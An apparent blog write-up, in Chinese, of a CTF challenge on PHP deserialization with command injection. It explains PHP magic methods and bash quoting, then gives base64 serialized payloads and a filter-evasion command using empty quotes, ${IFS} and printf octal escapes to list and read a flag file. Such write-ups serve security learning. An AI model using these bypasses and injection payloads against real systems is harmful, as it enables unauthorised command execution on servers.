php反序列化题目

php反序列化

调用回调函数,并把一个数组参数作为回调函数的参数

被调用的函数 this这个类 method 就是函数ping  参数是args

Method 和args都是私有变量,给他们传值,需要用_constuct方法

exec()函数用于执行一个外部程序,语法为:exec(string $command[,array &$output[,int &$return_var ]]); 是用来调用linux命令的函数。执行$command中的命令后返回结果到$array中

反序列化之前调用,会挨个把数组的值传入waf进行过滤。

 

__construct()构造函数只有在new 一个对象的时候会触发,在serialize 序列化和unserialize反序列化中都不会触发

Sleep方法在序列化之前触发

Wake up 反序列化之前触发

exec()函数用于执行一个外部程序,语法为:exec(string $command[,array &$output[,int &$return_var ]]); 是用来调用linux命令的函数。

 执行$command中的命令后返回结果到$array中

__wakeup(),执行unserialize()时,先会调用这个函数

new 关键字实例化一个对象时,构造函数将会自动调用 __construct ()构造方法

对象被删除之前调用__destruct()折构方法

Linux中的printf函数()

****printf的格式化输出,可以将十六进制或者八进制的字符数字转化成其对应的ASCII字符内容输出

Bash中单引号会把中间的内容完全视为字符串,但双引号会把内部变量进行解析

反引号的功能是命令替换,在反引号(``) 中的内容通常是命令行,程序会优先执行反引号中的内容,并使用运行结果替换掉反引号处的内容。

Linux的bash shell中有一个叫做内部字段分隔符IFS(internal field separator)的变量,该变量常用于在处理文本数据时作为分隔符使用。IFS可以是White Space(空白键)、Tab( 表格键)、Enter( 回车键)中的一个或几个。IFS的设置方法和普通变量设置方法类似:IFS=":"。当该变量为空格时,

可用于对空格进行绕过

  1. 传入Ctf= Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo0OiJsJydzIjt9
  2. ctfTools (file://YANGZEXIN/ctfTools)

有这个flag is here文件夹。想办法查看  这样'l""s${IFS}f""lag_1s_here'可以用$IFS绕过空格,flag之间加个双引号绕过。

  1. 传入ctf=Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoyNDoibCIicyR7SUZTfWYiImxhZ18xc19oZXJlIjt9fQ==

发现有flag_831b9..文件。

想办法查看。

c""at${IFS}f""lag_1s_here$(printf${IFS}"\57")f""lag_831b69012c67b35f.p""hp' 构造成这样

等价于 cat flag_1s_here/flag_831b69012c67b35f.php

其中$(printf${IFS}"\57") 表示输出一个 /

$()表示命令替换,将括号内的命令输出结果作为一个整体赋值给变量。而${ IFS }表示环境变量IFS的值,它是一个用于分割字段的特殊字符集合。

因此,$(printf${ IFS }"\57")会将${ IFS }的值作为分隔符传递给printf函数,并输出ASCII码为57对应的字符,即正斜杠/

反序列化 然后传入 得到flag

  • 28
    点赞
  • 33
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值